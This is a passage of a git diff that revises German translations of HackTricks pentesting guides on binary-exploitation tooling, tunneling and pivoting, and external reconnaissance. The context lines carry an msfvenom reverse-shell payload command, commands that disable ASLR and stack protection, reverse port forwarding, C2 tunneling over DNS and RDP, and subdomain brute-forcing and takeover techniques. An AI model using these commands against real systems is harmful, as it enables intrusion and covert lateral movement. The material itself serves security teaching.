diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index b87bbac55..22e4485c3 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -16,7 +16,7 @@ msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] ``` ## GDB -### Installieren +### Install ```bash apt-get install gdb ``` @@ -121,7 +121,7 @@ gef➤ pattern search 0x6261617762616176 #### GDB gleiche Adressen -Während des Debuggens wird GDB **leicht unterschiedliche Adressen als die vom Binary verwendeten beim Ausführen haben.** Sie können GDB die gleichen Adressen haben lassen, indem Sie Folgendes tun: +Während des Debuggens wird GDB **leicht unterschiedliche Adressen als die vom Binary verwendeten beim Ausführen haben.** Sie können GDB die gleichen Adressen haben lassen, indem Sie: - `unset env LINES` - `unset env COLUMNS` @@ -150,8 +150,8 @@ gef➤ bt ### Stack-Offset finden **Ghidra** ist sehr nützlich, um den **Offset** für einen **Buffer Overflow dank der Informationen über die Position der lokalen Variablen zu finden.**\ -Zum Beispiel zeigt im folgenden Beispiel ein Buffer Overflow in `local_bc`, dass Sie einen Offset von `0xbc` benötigen. Außerdem, wenn `local_10` ein Canary-Cookie ist, zeigt es an, dass es einen Offset von `0xac` gibt, um es von `local_bc` zu überschreiben.\ -&#xNAN;_Remember, dass die ersten 0x08, von wo der RIP gespeichert wird, zu dem RBP gehören._ +Zum Beispiel zeigt im folgenden Beispiel ein Buffer Overflow in `local_bc`, dass Sie einen Offset von `0xbc` benötigen. Darüber hinaus, wenn `local_10` ein Canary-Cookie ist, zeigt es an, dass es einen Offset von `0xac` gibt, um es von `local_bc` zu überschreiben.\ +_Remember, dass die ersten 0x08, von wo der RIP gespeichert wird, zu dem RBP gehören._ ![](<../../../images/image (1061).png>) @@ -164,8 +164,8 @@ Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompilieren ohne Schutz\ -&#xNAN;**-o** --> Ausgabe\ -&#xNAN;**-g** --> Code speichern (GDB kann ihn sehen)\ +**-o** --> Ausgabe\ +**-g** --> Code speichern (GDB wird in der Lage sein, ihn zu sehen)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Um das ASLR in Linux zu deaktivieren **Um einen Shellcode zu kompilieren:**\ @@ -175,13 +175,13 @@ Get every opcode executed in the program. ## Objdump **-d** --> **Disassembliere ausführbare** Abschnitte (siehe Opcodes eines kompilierten Shellcodes, finde ROP Gadgets, finde Funktionsadresse...)\ -&#xNAN;**-Mintel** --> **Intel** Syntax\ -&#xNAN;**-t** --> **Symbol** Tabelle\ -&#xNAN;**-D** --> **Disassembliere alles** (Adresse einer statischen Variablen)\ -&#xNAN;**-s -j .dtors** --> dtors Abschnitt\ -&#xNAN;**-s -j .got** --> got Abschnitt\ +**-Mintel** --> **Intel** Syntax\ +**-t** --> **Symbol** Tabelle\ +**-D** --> **Disassembliere alles** (Adresse von statischen Variablen)\ +**-s -j .dtors** --> dtors Abschnitt\ +**-s -j .got** --> got Abschnitt\ -D -s -j .plt --> **plt** Abschnitt **dekompiliert**\ -&#xNAN;**-TR** --> **Relokationen**\ +**-TR** --> **Relocationen**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse von "puts", um in GOT zu modifizieren\ **objdump -D ./exec | grep "VAR_NAME"** --> Adresse oder eine statische Variable (diese werden im DATA Abschnitt gespeichert). @@ -191,7 +191,7 @@ Get every opcode executed in the program. 2. Führen Sie `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` aus 3. sudo gdb --core=\ --quiet -## Mehr +## More **ldd executable | grep libc.so.6** --> Adresse (wenn ASLR, ändert sich dies jedes Mal)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Schleife, um zu sehen, ob sich die Adresse stark ändert\ @@ -210,11 +210,11 @@ Get every opcode executed in the program. ### Debugging in remote linux -Im IDA-Ordner finden Sie Binärdateien, die verwendet werden können, um eine Binärdatei in einem Linux zu debuggen. Dazu verschieben Sie die Binärdatei `linux_server` oder `linux_server64` auf den Linux-Server und führen Sie sie im Ordner aus, der die Binärdatei enthält: +Im IDA-Ordner finden Sie Binaries, die verwendet werden können, um ein Binary in einem Linux zu debuggen. Dazu verschieben Sie das Binary `linux_server` oder `linux_server64` auf den Linux-Server und führen es im Ordner aus, der das Binary enthält: ``` ./linux_server64 -Ppass ``` -Dann konfigurieren Sie den Debugger: Debugger (linux remote) --> Prozessoptionen...: +Dann konfigurieren Sie den Debugger: Debugger (Linux-Remote) --> Prozessoptionen...: ![](<../../../images/image (858).png>) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index c5a904eaf..ce77b36fa 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` -Aktivieren Sie das Forwarding auf der Server-Seite +Aktivieren Sie das Forwarding auf der Serverseite ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE @@ -152,9 +152,9 @@ rportfwd stop [bind port] ``` Zu beachten: -- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. +- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. - Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links. -- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen. +- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwarding auf hohen Ports zu erstellen. ### rPort2Port lokal @@ -174,7 +174,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ``` ## Chisel -Sie können es von der Release-Seite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\ +Sie können es von der Veröffentlichungsseite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\ Sie müssen die **gleiche Version für Client und Server** verwenden. ### socks @@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -Pivotieren durch **NTLM-Proxy** +Durch **NTLM-Proxy** pivotieren ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client). +Es ist wie eine Konsolenversion von PuTTY (die Optionen sind sehr ähnlich zu einem ssh-Client). -Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Um dann nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: +Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -343,13 +343,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier -Sie müssen **RDP-Zugriff über das System** haben.\ +Sie müssen **RDP-Zugriff auf das System** haben.\ Herunterladen: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Dieses Tool verwendet `Dynamic Virtual Channels` (`DVC`) aus der Remote Desktop Service-Funktion von Windows. DVC ist verantwortlich für **das Tunneln von Paketen über die RDP-Verbindung**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** so: +Laden Sie in Ihrem Client-Computer **`SocksOverRDP-Plugin.dll`** wie folgt: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll @@ -384,7 +384,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\ -Zum Beispiel den weitergeleiteten Port 443 +Zum Beispiel, um den Port 443 weiterzuleiten. ``` Username Alice Password P@ssw0rd @@ -392,8 +392,8 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Jetzt, wenn Sie beispielsweise den **SSH**-Dienst beim Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\ -Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer hört auf Port 2222. +Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie über den Angreifer-Port 2222 eine Verbindung herstellen.\ +Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet, während der Angreifer auf Port 2222 lauscht. ## YARP @@ -417,7 +417,7 @@ ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 -[**Laden Sie es hier herunter**](https://github.com/iagox86/dnscat2)**.** +[**Lade es hier herunter**](https://github.com/iagox86/dnscat2)**.** Stellt einen C\&C-Kanal über DNS her. Es benötigt keine Root-Rechte. ```bash @@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Ändern Sie den DNS von proxychains -Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen durch den Socks-Proxy. Standardmäßig ist der DNS-Server, den proxychains verwendet, **4.2.2.2** (fest codiert). Um ihn zu ändern, bearbeiten Sie die Datei: _/usr/lib/proxychains3/proxyresolv_ und ändern Sie die IP. Wenn Sie sich in einer **Windows-Umgebung** befinden, können Sie die IP des **Domänencontrollers** festlegen. +Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen durch den SOCKS-Proxy. Standardmäßig ist der DNS-Server, den proxychains verwendet, **4.2.2.2** (fest codiert). Um ihn zu ändern, bearbeiten Sie die Datei: _/usr/lib/proxychains3/proxyresolv_ und ändern Sie die IP. Wenn Sie sich in einer **Windows-Umgebung** befinden, können Sie die IP des **Domänencontrollers** festlegen. ## Tunnel in Go @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **ist ein Tool, um Lösungen mit einem einzigen Befehl ins Internet zu exponieren.**\ -&#xNAN;_Exposition URI sind wie:_ **UID.ngrok.io** +_Exposition URI sind wie:_ **UID.ngrok.io** ### Installation @@ -511,12 +511,12 @@ _Es ist auch möglich, Authentifizierung und TLS hinzuzufügen, falls erforderli ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### Sniffing von HTTP-Anfragen +#### Sniffing HTTP calls _Nützlich für XSS, SSRF, SSTI ..._\ Direkt von stdout oder in der HTTP-Schnittstelle [http://127.0.0.1:4040](http://127.0.0.1:4000). -#### Tunneln interner HTTP-Dienste +#### Tunneling internal HTTP service ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index d6af2083f..b69c3d9bd 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,8 +1,8 @@ -# External Recon Methodology +# Externe Recon-Methode {{#include ../../banners/hacktricks-training.md}} -## Vermögensentdeckungen +## Entdeckung von Vermögenswerten > Ihnen wurde gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt. @@ -11,7 +11,7 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunterne 1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Geltungsbereich geben. 2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies wird uns die IP-Bereiche geben, die jedem Unternehmen gehören. 3. Rückwärtige Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen). -4. Andere Techniken wie Shodan `org` und `ssl` Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl` Trick kann rekursiv durchgeführt werden). +4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden). ### **Übernahmen** @@ -34,7 +34,7 @@ Sie können **nach** dem **Namen** des Unternehmens, nach **IP** oder nach **Dom amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** die ASNs am Ende des Scans automatisch zusammen. +Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** automatisch die ASNs am Ende des Scans zusammen. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -56,13 +56,13 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in ### **Auf der Suche nach Schwachstellen** -An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also könnten Sie, wenn Sie dazu berechtigt sind, einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\ -Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\ +An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also könnten Sie, wenn Sie dazu berechtigt sind, einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\ +Außerdem könnten Sie einige [**Portscans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\ **Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen. ## Domains -> Wir kennen alle Unternehmen im Geltungsbereich und deren Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden. +> Wir kennen alle Unternehmen innerhalb des Umfangs und deren Vermögenswerte, es ist Zeit, die Domains innerhalb des Umfangs zu finden. _Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._ @@ -70,7 +70,7 @@ Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum ### **Reverse DNS** -Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden. +Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains innerhalb des Umfangs zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -88,7 +88,7 @@ Sie können Online-Tools wie verwenden: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API. +- [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenlos API. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen) - [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos @@ -101,7 +101,7 @@ Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](http ### **Trackers** Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von **dem gleichen Team** verwaltet werden.\ -Zum Beispiel, wenn Sie dieselbe **Google Analytics-ID** oder dieselbe **Adsense-ID** auf mehreren Seiten sehen. +Zum Beispiel, wenn Sie dieselbe **Google Analytics ID** oder dieselbe **Adsense ID** auf mehreren Seiten sehen. Es gibt einige Seiten und Tools, die es Ihnen ermöglichen, nach diesen Trackern und mehr zu suchen: @@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Einfach gesagt, favihash ermöglicht es uns, Domains zu entdecken, die denselben Favicon-Icon-Hash wie unser Ziel haben. -Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicon einer verwundbaren Version einer Webtechnologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst: +Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen, wie in [**diesem Blogbeitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass du, wenn du den **Hash des Favicons einer verwundbaren Version einer Webtechnologie** kennst, in Shodan suchen und **weitere verwundbare Orte finden** kannst: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -159,7 +159,7 @@ Sie können eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc ### **Passive Übernahme** -Es ist anscheinend üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden Sie durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**. +Offensichtlich ist es üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden Sie durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**. [**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen. @@ -169,20 +169,20 @@ Es ist anscheinend üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud- **Shodan** -Wie Sie bereits wissen, gehört der Name der Organisation, die den IP-Bereich besitzt. Sie können nach diesen Daten in Shodan suchen mit: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat. +Wie Sie bereits wissen, ist der Name der Organisation, die den IP-Bereich besitzt. Sie können nach diesen Daten in Shodan suchen mit: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat. Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden. **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains** verbunden sind, ziemlich erstaunlich. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains verbunden sind**, ziemlich erstaunlich. ### **Nach Schwachstellen suchen** -Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen. +Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen. Wenn Sie eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **einfachen Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\ -&#xNAN;_Note, dass manchmal die Domain innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt, seien Sie vorsichtig._ +_Note, dass manchmal die Domain innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also nicht im Geltungsbereich liegt, seien Sie vorsichtig._ ## Subdomains @@ -317,7 +317,7 @@ python3 DomainTrail.py -d example.com Dieses Projekt bietet **kostenlos alle Subdomains, die mit Bug-Bounty-Programmen verbunden sind**. Sie können auf diese Daten auch mit [chaospy](https://github.com/dr-0x0x/chaospy) zugreifen oder sogar auf den Umfang zugreifen, der von diesem Projekt verwendet wird [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list). -Sie finden einen **Vergleich** vieler dieser Tools hier: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off). +Sie finden hier einen **Vergleich** vieler dieser Tools: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off). ### **DNS Brute Force** @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mit aktivem Bruteforce zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mithilfe von aktivem Brute-Force zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -370,12 +370,12 @@ cat subdomains.txt | dnsgen - ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenen Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene. +- [**gotator**](https://github.com/Josue87/gotator)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren. Wenn keine Permutationsdatei angegeben ist, verwendet gotator seine eigene. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden). -- Sie können die altdns-Permutationen **Wortliste** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten. +- Sie können die **wordlist** für altdns-Permutationen [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Es nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf während des DNS-Scans gesammelten Informationen weiter zu erweitern. ``` echo www | subzuf facebook.com ``` @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Virtuelle Hosts** -Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder **VHost-Domainnamen in dieser IP brute-forcen**. +Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von Subdomains enthält, könnten Sie versuchen, **andere Subdomains mit Webseiten in dieser IP** zu finden, indem Sie in **OSINT-Quellen** nach Domains in einer IP suchen oder indem Sie **VHost-Domainnamen in dieser IP brute-forcen**. #### OSINT @@ -421,7 +421,7 @@ Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https:// **Brute Force** -Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie brute zu forcen: +Wenn Sie vermuten, dass eine Subdomain auf einem Webserver verborgen sein könnte, könnten Sie versuchen, sie zu brute-forcen: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -453,13 +453,13 @@ Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Geltungsbereich kennen, ve Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem Sie die **Certificate Transparency** Logs überwachen, was [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut. -### **Suche nach Schwachstellen** +### **Nach Schwachstellen suchen** Überprüfen Sie auf mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/index.html). Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen finden, sollten Sie einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\ -&#xNAN;_Note, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._ +_Note, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._ ## IPs @@ -472,15 +472,15 @@ Mit Diensten aus den folgenden 